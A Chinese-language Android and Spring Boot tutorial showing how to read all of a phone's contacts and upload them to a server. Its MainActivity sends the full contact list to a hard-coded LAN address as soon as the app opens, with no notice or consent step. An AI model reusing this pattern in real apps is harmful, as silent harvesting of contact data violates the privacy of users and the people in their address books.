需求
读取安卓手机的通信录,然后上传到网上
安卓手机apk
- 使用android studio,新建一个android项目,在项目的AndroidManifest.xml中,增加读取通信权限
<uses-permission android:name="android.permission.READ_CONTACTS" />
- 读取通信录的java类
public class MobileContacts {
public static class Contact {
String name;
String type;
String phoneNum;
String phoneType;
String notes;
String emailAddr;
String emailType;
String id;
}
private static final String[] PHONES_PROJECTION = new String[]{
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER, ContactsContract.Contacts.Photo.PHOTO_ID, ContactsContract.CommonDataKinds.Phone.CONTACT_ID};
//获取联系人信息,包括联系人电话、邮件及其类型,备注,姓名,号码等
public static String getContacts(Context context)
{
String MsgFieldDelimiter = new String(fieldDelimiter2);
String MsgDelimiter = new String(fieldDelimiter1);
StringBuffer result = new StringBuffer("");
ContentResolver cr = context.getContentResolver();
Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
//循环遍历
if (cur.moveToFirst()) {
int idColumn = cur.getColumnIndex(ContactsContract.Contacts._ID);
int displayNameColumn = cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
do {
Contact contact = new Contact();
//获得联系人的ID号
String contactId = cur.getString(idColumn);
//获得联系人姓名
String disPlayName = cur.getString(displayNameColumn);
contact.name = disPlayName;
String strPhoneNumbers = "";
//查看该联系人有多少个电话号码。如果没有这返回值为0
int phoneCount = cur.getInt(cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER));
if(phoneCount>0){
//获得联系人的电话号码
Cursor phones = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID+ " = " + contactId, null, null);
if(phones.moveToFirst()){
do{
//遍历所有的电话号码
String phoneNumber= phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
System.out.println(phoneNumber);
if (!strPhoneNumbers.isEmpty())
strPhoneNumbers += ";";
strPhoneNumbers += phoneNumber;
}while(phones.moveToNext());
}
}
contact.phoneNum = strPhoneNumbers;
result.append(contact.name + MsgFieldDelimiter
+ "1"+MsgFieldDelimiter
+ contact.phoneNum+MsgFieldDelimiter
+ contact.phoneType+MsgFieldDelimiter
+ contact.emailAddr+MsgFieldDelimiter
+ contact.emailType+MsgFieldDelimiter
+ MsgFieldDelimiter + MsgFieldDelimiter
+ MsgFieldDelimiter+MsgFieldDelimiter+MsgFieldDelimiter+MsgFieldDelimiter+MsgFieldDelimiter+MsgFieldDelimiter
+ contact.notes + MsgFieldDelimiter+MsgFieldDelimiter+MsgFieldDelimiter+MsgFieldDelimiter+MsgDelimiter );
} while (cur.moveToNext());
}
return result.toString();
}
}
- 上传数据类
public class SocketHttpRequester {
/**
* 直接通过HTTP协议提交数据到服务器,实现如下面表单提交功能:
* <FORM METHOD=POST ACTION="http://192.168.1.101:8083/upload/servlet/UploadServlet" enctype="multipart/form-data">
<INPUT TYPE="text" NAME="name">
<INPUT TYPE="text" NAME="id">
<input type="file" name="imagefile"/>
<input type="file" name="zip"/>
</FORM>
* @param path 上传路径(注:避免使用localhost或127.0.0.1这样的路径测试,因为它会指向手机模拟器,你可以使用http://www.iteye.cn或http://192.168.1.101:8083这样的路径测试)
* @param params 请求参数 key为参数名,value为参数值
* @param files 上传文件
*/
public static boolean post(String path, Map<String, String> params, FormFile[] files) throws Exception{
final String BOUNDARY = "---------------------------7da2137580612"; //数据分隔线
final String endline = "--" + BOUNDARY + "--\r\n";//数据结束标志
int fileDataLength = 0;
for(FormFile uploadFile : files){//得到文件类型数据的总长度
StringBuilder fileExplain = new StringBuilder();
fileExplain.append("--");
fileExplain.append(BOUNDARY);
fileExplain.append("\r\n");
fileExplain.append("Content-Disposition: form-data;name=\""+ uploadFile.getParameterName()+"\";filename=\""+ uploadFile.getFilname() + "\"\r\n");
fileExplain.append("Content-Type: "+ uploadFile.getContentType()+"\r\n\r\n");
fileExplain.append("\r\n");
fileDataLength += fileExplain.length();
if(uploadFile.getInStream()!=null){
fileDataLength += uploadFile.getFile().length();
}else{
fileDataLength += uploadFile.getData().length;
}
}
StringBuilder textEntity = new StringBuilder();
for (Map.Entry<String, String> entry : params.entrySet()) {//构造文本类型参数的实体数据
textEntity.append("--");
textEntity.append(BOUNDARY);
textEntity.append("\r\n");
textEntity.append("Content-Disposition: form-data; name=\""+ entry.getKey() + "\"\r\n\r\n");
textEntity.append(entry.getValue());
textEntity.append("\r\n");
}
//计算传输给服务器的实体数据总长度
int dataLength = textEntity.toString().getBytes().length + fileDataLength + endline.getBytes().length;
URL url = new URL(path);
int port = url.getPort()==-1 ? 80 : url.getPort();
Socket socket = new Socket(InetAddress.getByName(url.getHost()), port);
OutputStream outStream = socket.getOutputStream();
//下面完成HTTP请求头的发送
String requestmethod = "POST "+ url.getPath()+" HTTP/1.1\r\n";
outStream.write(requestmethod.getBytes());
String accept = "Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
outStream.write(accept.getBytes());
String language = "Accept-Language: zh-CN\r\n";
outStream.write(language.getBytes());
String contenttype = "Content-Type: multipart/form-data; boundary="+ BOUNDARY+ "\r\n";
outStream.write(contenttype.getBytes());
String contentlength = "Content-Length: "+ dataLength + "\r\n";
outStream.write(contentlength.getBytes());
String alive = "Connection: Keep-Alive\r\n";
outStream.write(alive.getBytes());
String host = "Host: "+ url.getHost() +":"+ port +"\r\n";
outStream.write(host.getBytes());
//写完HTTP请求头后根据HTTP协议再写一个回车换行
outStream.write("\r\n".getBytes());
//把所有文本类型的实体数据发送出来
outStream.write(textEntity.toString().getBytes());
//把所有文件类型的实体数据发送出来
for(FormFile uploadFile : files){
StringBuilder fileEntity = new StringBuilder();
fileEntity.append("--");
fileEntity.append(BOUNDARY);
fileEntity.append("\r\n");
fileEntity.append("Content-Disposition: form-data;name=\""+ uploadFile.getParameterName()+"\";filename=\""+ uploadFile.getFilname() + "\"\r\n");
fileEntity.append("Content-Type: "+ uploadFile.getContentType()+"\r\n\r\n");
outStream.write(fileEntity.toString().getBytes());
if(uploadFile.getInStream()!=null){
byte[] buffer = new byte[1024];
int len = 0;
while((len = uploadFile.getInStream().read(buffer, 0, 1024))!=-1){
outStream.write(buffer, 0, len);
}
uploadFile.getInStream().close();
}else{
outStream.write(uploadFile.getData(), 0, uploadFile.getData().length);
}
outStream.write("\r\n".getBytes());
}
//下面发送数据结束标志,表示数据已经结束
outStream.write(endline.getBytes());
BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
if(reader.readLine().indexOf("200")==-1){//读取web服务器返回的数据,判断请求码是否为200,如果不是200,代表请求失败
return false;
}
outStream.flush();
outStream.close();
reader.close();
socket.close();
return true;
}
/**
* 提交数据到服务器
* @param path 上传路径(注:避免使用localhost或127.0.0.1这样的路径测试,因为它会指向手机模拟器,你可以使用http://www.itcast.cn或http://192.168.1.10:8080这样的路径测试)
* @param params 请求参数 key为参数名,value为参数值
* @param file 上传文件
*/
public static boolean post(String path, Map<String, String> params, FormFile file) throws Exception{
return post(path, params, new FormFile[]{file});
}
}
- 在activity中,创建线程,上传数据
public class MainActivity extends AppCompatActivity {
private static final String TAG = "test";
public void uploadMemory(String strName, String strData) {
Log.i(TAG, "upload start: " + strName + ", length "+ strData.getBytes().length);
try {
String requestUrl = "http://192.168.1.92:8089/upload";
//请求普通信息
Map<String, String> params = new HashMap<String, String>();
params.put("name", "lisi");
params.put("password", "zhangsan");
params.put("age", "21");
params.put("fileName", strName);
//上传文件
FormFile formfile = new FormFile(strName, strData.getBytes(), "image", "application/octet-stream");
SocketHttpRequester.post(requestUrl, params, formfile);
Log.i(TAG, "upload success");
} catch (Exception e) {
Log.i(TAG, "upload error");
Log.e(TAG, Log.getStackTraceString(e));
}
Log.i(TAG, "upload end");
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Android 4.0 之后不能在主线程中请求HTTP请求
new Thread(new Runnable(){
@Override
public void run() {
uploadMemory("contract.txt", MobileContacts.getContacts(getApplicationContext()));
}
}).start();
}
}
服务端接收
- 服务端使用Springboot创建web服务,工具可以使用Eclipse
- 在application.properties中,确定是用的http端口
# http 80 configuration
server.port=8089
- 在控制器中,接收发送过来的内容,并保存到磁盘
// 判断存放上传文件的目录是否存在(不存在则创建)
File dir = new File(picturePath);
if (!dir.exists()) {
dir.mkdir();
}
try {
StandardMultipartHttpServletRequest req = (StandardMultipartHttpServletRequest) request;
//获取formdata的值
Iterator<String> iterator = req.getFileNames();
while (iterator.hasNext()) {
MultipartFile file=req.getFile(iterator.next());
//获取文件后缀名
String fileSuffixName=file.getOriginalFilename();
//真正写到磁盘上
//全球唯一id
String uuid= UUID.randomUUID().toString().replace("-","");
String pictureName=uuid+fileSuffixName;
File file1=new File(picturePath+pictureName);
OutputStream out=new FileOutputStream(file1);
out.write(file.getBytes());
out.close();
System.out.println("receive file: " + picturePath + pictureName);
}
} catch (Exception e) {
e.printStackTrace();
}
return "ok";
}
}
总结
至此,通过网络,将安卓手机通信录内容保存到指定服务器基本完成